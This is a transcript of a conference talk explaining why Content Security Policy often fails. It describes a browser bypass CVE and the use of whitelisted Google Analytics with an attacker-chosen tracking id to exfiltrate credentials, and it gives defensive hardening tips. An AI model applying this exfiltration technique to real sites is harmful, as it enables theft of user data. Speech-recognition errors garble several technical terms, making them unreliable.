Hi everybody, thank you for joining me today. Today we're going to talk about CSP. How is it broken? What can we do to fix it? Or at least just demystify some of it? My name is Amir Shaked. I work at perimeterx. I did the R D there, software engineer for many years, R D leader for a few as well and building things with good people. And this talk we're going to talk a bit about breaking and building things and how they come together when we're talking, but CSP. So let's begin with these story. And I love to begin with stories. The story here is I wanted to enable CSP on my website. I read and understood the full meaning of all the directives that the implementations, the CSP two, CSP three, all the variances in the standard. I added the header to the website with a report only option and started getting traffic into some lambda functions that consumed all the reports. About a day later I went over the reports. It was very clear which report is what. I marked all the resources that are related to our website and updated these policy. I switched the policy to block policy which basically means no reporter what's blocking policy and I had zero issues. The website worked flawlessly and without any problem or anything crashing, no support call to say some part of the website stopped working somehow and I think nobody ever said that story when it comes to CSP. I've talked to many people in the industry who tried to use this really positive standard with good intentions, but everybody had some kind of issue along the way trying to improvements it in their website. More common case that we have seen is on several websites is a case where they're getting some call from their credit card company or another vendor. They're working on mostly the credit cards company telling them that there was a breach. Credit cards were stolen from their websites and when they're doing the deep dive, usually with some consultant when doing the deep dive trying to identify where and what and how the breach was made, they end up finding that actually there was no direct breach to the site, but a breach to a third party vendor. And that vendor was responsible and it was basically injecting additional code on the front end and sending data to some new destination. Now in practice, this is something that CSP by design should have stopped. And yet time and time again we see these cases happening on websites where even though that should have been in place and CSP in some cases was in place, still the attack vector succeeded and data was exfilterated from the site and we touched on a few points on why even though you have CSP you don't usually have it all the way and where are gaps and problems with that. So just in these word what is CSP? And I'm going to do a short technical session here on what is CSP and how it's actually being used and works. So CSP is a policy. First of all that's important to remember. It's a policy which adds another layer of security to the site, mostly to protect from XSS and data injection and data existration to different domains. First introduced by the way all the way back in 2004. But since 2013 went these multiple iterations of the common standard that we have today that we see today on many websites, with the final version of version three pretty close to being finished. So it's a very late draft and version two is the one most commonly used today in websites with CSP. So how does it work? Basically you have an HTTP header that you add on the back end and you have two of those. And we're going to touch on the difference. The header says that you have in this example what we have here. So we have default source saying self, default source, self mean by default sources of different elements can come from the domain itself, the parent domain that serve the website scripts can come from two destinations, self and these cDNJs net another network. And if these is any kind of validation, the report URL where data should go is the top level domain CSP logging. So that's these destination that will receive all the reports of all violations happening on the front end on different users to the CSP policy that we defined here. And then we have in the HTML page two elements, the image and the script. And both will work. The image will load because it's coming from on the default source and these script will load because it's allowed as a script source on that specific directive. Now if somehow in some way the last element here would have been added, the directives that we had would make that forbidden and we would have been receiving a report saying cdnjs.com try to be accessed and to load a script. So where is the problem with that? Once you go into specifications, the problem is they're not fully defined. And even though going back here to this example, most of the directives are very well defined in what they should do and shouldn't do. It's still an RFC, it's still something that every browser need to improvements on their own. And nothing here says what should be the report. And I'm going to show example of where everything has all the variations. So what a report holds. For example, every browser can decide what they want to push into reports. We do see an improvement there with more considerations, but again there are variances that we've seen with different browsers reporting the same violation when to report. Another interesting point, should I report only once? Should I report every time per session, per page? And that leads to a lot of inconsistency and affects how the system that you're using can learn from that. Implementation itself may be lacking in different browsers. We're going to touch on one example for a specific CVE, but there are a lot of other cases where the browsers don't implement that complicated RFC as it should and it's usage dependent and that can be abused. And we're going to do a deep dive to an example of why by design there is a flaw in the concept of policy and a whitelist. So let's start with numbers. I think numbers talk better than anything else. It's a standard that was been existing since 2012, how much is it used, how often it is and how everybody are using it. So this data is based on information that I extracted from HTTP archives going over their scans on the past two years. Excellent data source if you want to research how the web changes and behaves over time, by the way. So an excellent data source to use. And what we have here is scan domains over time and show it with the mouse. So we have can domains over time. So that gives us the reference point of how many domains are being tested. And what we can see is that content security policy is actually being uses more and more over time, which signifies a positive trend until you're starting to dive into the details and you see what's the difference. So we see a great adoption of other security headers. You can see the list here on the left, on the right, sorry, which different security headers were found on those scans. And we see that CSP is behind adopted on the rise as more or lets about 10% of the websites. So it looks like a positive trend. But when you would deep dive to see what's actually being used along these different directives for CSP, these are the numbers that pop up when you're inspecting. So we had 690,000 domains that actually used CSP at all, out of 4 million websites, sorry, 6 million websites that were scammed. And the first, these are actually just a replacement of obsolete security headers that were common before. So the frame ancestors simply says, do you allow the browser to load your website in a frame or not. That's one upgrade insecure. Again, replacement says that for previous security header, mentioning that the traffic should only be HTTPs. So don't allow HTTP traffic to the parent domain only HTTPs traffic and block mixed content. So again an additional layer on that only the follow up if you're going to default source where it's actually getting interesting, actually use more complicated directives and trying to actually use the policy of where data should be loaded from or sent to. And that's only 17% out of the 620. That means a much lower number actually implementing CSP and trying to get all the value out of these directives. And that's a very sad data point. And I think a really big part of it is some of the reasons that we're going to talk on later on on the difference between the concept, which is great, and the difficulties in implementing it which makes it very hard to be uses out there. So and I'll give one example, diving into the directives themselves that we see being used in the wild here is one example. You see the default source and there is a very big difference between the two options here. What you see on the top one is on this one is on their website, allowing on these default source any unsafe eval, meaning any script can use eval and basically run any code you want and any inline code in the page. That basically means that between these two options anything can run on the page. You didn't really enable any additional security layer, you're allowing everything to run on the page. That's the worst kind. On the far left of the security spectrum you have actually nonsense of the hash of the script itself that should be allowed to run and that's great if you're using that feature. That means that only specific scripts can run and inline scripts can run and not everything. So being a very strict great option, but very few websites actually use that one. Besides that we've seen again deep diving into the data from actual websites, really poor usage and I was looking for common directives being used and there should be around 30 and I found over 700 with some really mind blowing examples here. I don't understand this, go for it. But then all kinds of just bad implementations. I don't know if it's in policy or the web servers, but it's really sad if somebody actually tried to use the policy and then broke it with invalid information in the policy itself. If you're trying to use it, please I beg you, uses something like this link here, the CSP evaluator by Google, which is really good, and save yourself the trouble of having worked so hard to create a policy and then having it be unavailable to websites because it has bugs in these configuration. Okay, so we talked a bit about the policy. Let's talk about the reports. I have a policy in place. I want to dissect the reports and understand them and the data isn't normalized at all. These two links here are actually fascinating when you inviting you to go and browse into them and you will see different types of examples of reports coming in from websites. And these reason is you will get violations from a lot of stuff which are unrelated to the website. And that can be very causing when you're trying to understand you see some two or three reports of some domain and you can't find how it's related to the website itself. And that could very well be coming from somewhere else, say extensions, ads, web proxies, both injecting code into the page, completely irrelevant to the policy and the website you actually build. So you need to find a way to reduce all that noise and focus only on the interesting reports. One way of doing that is by numbers. If the number of reports per incident per domain, for examples, is low or too low, it might be a good indication that it's noise and you can ignore that and focus only on the high number of reports. That's one example that you can use. But again, very interesting examples and I invite you to go through them. I didn't want to do that, waste our session for that. And these last is browser misalignment. That's actually a very big issue and you should be aware of that. Different browsers do different things. This is the latest information that I have might have changed a long time because the browsers are always updating the way they report. But from our last these, we saw that these kind of differences, I'll highlight only key ones for chrome. If you have a repetitive call to a blocked resource, you only get one report. For Firefox you will get repeating reports. So that's different. With Safari, you might get only the truncated top level domain and not the full blocked uri, which you might have wanted the full uri to see more information. So these kinds of differences make it very different to analyze the reports that you're getting between browsers. And like we saw here, between other things that might create noise leading to a problem of essentially log spamming. There is no validation, there is no validation on who is sending the data. And anybody can push information into your system on supposed violations. It could be even fake reports hitting directly your API and reporting fake CSP violations only to try and game your system. If you have say an automatic system that automatically whitelists domains per number of occurrences, somebody can try and use that and create some adversarial machine learning concept of tricking the system to whitelist a domain. Haven't seen that yet, but definitely a concept that is out there being discussed. Okay, another thing is it has an implementations gaps like everything. In this case you can see the cves over time with different browsers, specifically mentioning CSP and the various implementations that it has in browsers. And I want to touch on one specific CVE that we discovered and reported on about a year ago, and that is this one. So using the above policy, which seems very strict, objects can be loaded from nowhere and child from nowhere, and scripts only from the parent domain. And the trick here is we define a URL obviously coming from an unauthorized location, and we're creating can element and doing child append with that element. And the script runs and it doesn't run, sorry. And these script doesn't run. But if you're running the same thing this way this call will succeed and will be evaluated and these code will be loaded into the page. Why is that? Because of the complexities of how the engine, browsers engine works, and it's quite complicated to create a very bulletproof system. So this is an example where even though you had a very strict policy, we found a way where the code were still running and loaded, even though it should have been running. That CB has been reported, has been closed. But it's just an example where even though you think you have a very strict policy, there might be a bug in the browsers itself, causing it to be irrelevant. An interesting point to make. Websites that loaded, that used these nonsense for the timeline scripts were not vulnerable to this bug because they were restricting inline scripts to come only from those known hashes, which is why this works on some websites and not on other websites that were more strict in their policy. The point to make here is that a very strict policy, a very good policy, might also protect you from potential bugs in the browser's implementation. So what can possibly go wrong with these policy? We've talked a lot about different aspects of CSP, the implementation, the configuration, but there is a core issue with the concept of a policy that makes it vulnerable, and I want to touch on that because it's a very interesting one. In this research we took a different approach. We said, and this is over time, let's look at the most common allowed targets. Whatever it's coming from, the script, the default, the object, whatever it is, these are the common allowed targets. And we can see here a specific domain coming repeatedly Google Analytics on the different variations on March 2000 and went it was more common. It was common on June 2021 it was way more common. And we said okay, let's pick these top one the most commonly whitelisted domain on website and let's think what can we do with it and how can we game the concept and abuse the CSP policy simply because that domain is whitelisted? And it's a fascinating one once you have a safe list, if the safe list is a generic destination where everybody can create an account in, nothing really protects you from sending different kinds of information. And point to make here for Google Analytics is we added this code into the website that had CSP with a very strict policy but had Google Analytics allowed. And essentially what this means is that we can send information to any id that we want to show you here where it is. So the tid, we basically can define any id that we want to send the information to, which will allow us to see the information sent on our dashboard of Google Analytics and not another dashboard. And example here is you saw the code collecting the information and sending it and you can see it here, very simple. In the Google Analytics dashboard we have the hash, we can dehash it, we have the username and the password being sent from a website that had a policy but allowed Google Analytics. The next these was let's try to protect it, maybe by query programs or something else. How can we at least improve the system? So wouldn't this be nice if we could have said ok, you can connect to Google Analytics, but only to a specific target id, not any target id. And then you can protect the system but you can't. And the quote from the RFC basically says the exact point query strings have no impacts they're not being matched on, meaning you can't add that layer of protection. And we are focusing here on Google Analytics. But it's important to remember, if we go back to this list, there are other domains here which simply pick the top one and said can anybody create an account, in this case a completely free account, and use that to exfiltrate information simply because it was whitelisted. But other domains here are easily, easily applicable for them as well, simply because the way the concept works of the safe list, and it's not just a theory. We published a post about the method in June 17 and just a few days later, other security vendors found that specific usage being used in the wild by attackers to exfiltrate information and basically abuse that layer of protection coming from CSP. So think about it. We added all the layers of protection, we configured a very strict policy, we made sure it is working properly. But the basic flaw is that one domain that we uses is a generic domain that anybody can open an account on, top level domain, and that allows anybody to bypass all the protection that we're trying to add with CSP. Basically, it's crazy if you think about it now, one would claim that it might be valid, but where did the code come from? So they might be able to abuse the destination, but can they abuse the source of the data? And that's an interesting point to be made. A very common Tac vector would be to target an open destination that you're using and replace their code. It could be a third party vendor that you're using that you already whitelisted. It could be obsolete domains. And these are examples that we've seen, domains that were whitelisted. And because it's a whitelist policy, you don't get reports of the part of the policy not being used. So you had a vendor, maybe a startup that you tested and you worked with, you added them, you tried to see how it works, maybe even uses them for a while. They closed the domain, might even be up for sale, but you did not remove it from your policy. Because of the way these process works between say DevOps and front end development or whoever actually added it, it could be even somebody from the marketing team and these domain has been open for purchase and somebody could take over it. So we saw examples of domains being whitelisted that are no longer valid. But even taking can example from earlier this year, 2021 where Cloudflare had a bug was discovered in the CDNJs network that allowed an arbitrary person to come in and replace code with any library that sits on the CDN. That means that these risk there was that anybody could create a hijack and replace the code. And if you're loading libraries from that specific destination, you could have been exposed potentially to such a risk. Now that vulnerability was discovered and closed. So it's not actively a risk, but there are other such cdns and vendors that everybody are using that are always at risk. So the point to make here is both destinations are at risk because of the way the policy is defined with the whitelist. So somebody can come in through an allowed service and send exerted information to another allowed service. In the policy. So where it went wrong, it went wrong because first of all, managing a policy, it's hard. It doesn't always hold in today's modern web apps with these rate of changes and things being added and basic things of abusing the safe list to inject code and extract information simply breaks the entire concept that sits behind CSP, kind of rendering it invalid, which is a very bad using. So how can we make the best of it? Well, in coming to look at this problem, one would say it's a terrible idea, don't use CSP, there is no value in it. So I wouldn't go that far, but I gave examples. But once you understand the gaps, the potential gaps, you understand that CSP is a good layer of protection that you should add what you should use it for, but it's not these holy grail. It doesn't stop everything. So you shouldn't count on it as the only thing that will protect you against access or data injection or data exfiltration from the front end of the page. So a few would say tips on how to make the best of it. So filtering the report is definitely something that you should do and not spend your was your time going over all the violations? A b testing the policy a wonderful concept. One way to reduce the risk of having obsolete domains in the policy is doing a b test on the report only policy. So you could have a very strict report only policy, constantly adding and removing domains from the list. And if you see that you have a domain that you don't get any reports on, that means that it's not being used anymore. That means you can remove it from the strict blocking policy, because if you're not getting reports and this allows you to test if a specific domain is being used or not without damaging the experience of the users. So that allows you to keep a very clean and lean domain list in. The policy has different levels of strict policy for different pages. A sensitive page page with purchase login, things like that is definitely a place to have a very strict policy and also reduce the number of libraries that you have there. The Google Analytics was an example. Let's not have it in a specific page that has a risk of that specific link that we discussed. And if you don't have it, then you reduce the risk altogether. And you can limit the problem for specific pages with that PiI that you're trying to protect, not necessarily the entire website clean up every once in a while. That connects very well to the third point of how you can actually do it. Always consider adding additional layers of security, such as the nons and the hashes for the inline scripts and the external scripts. Again, it could sound very difficult and a lot of work, but if you limit that to sensitive pages then the work is much smaller and it's very specific, so it's more manageable. I would say for a modern web app with multiple components going back to being the same thing, context aware. And the last thing I really wish anyone here in this forum, especially with this conference, the conference two focusing on JavaScript and I don't know how much you want you like security, but it's a big part of what you can do with it on the front end. So contribute to the CSP three with comments and I think any improvement can make this better. And that's it. A few takeaways just to consider in mind. So we talked but skimmers in a brief those using the javascript to inject content and steal data from the website. It's an increasing risk and you should take it in mind when you're adding and removing libraries into your website, specifically JavaScript libraries, that CSP is not a silver bullet and we've covered very extensively why and that you should have the checklist for your own site, what you should do and which resources are critical. Yes or no. These are the three things I want you to take from this session, and I will have be able to answer questions on the discord or you can reach out to me if you want later on. Thank you,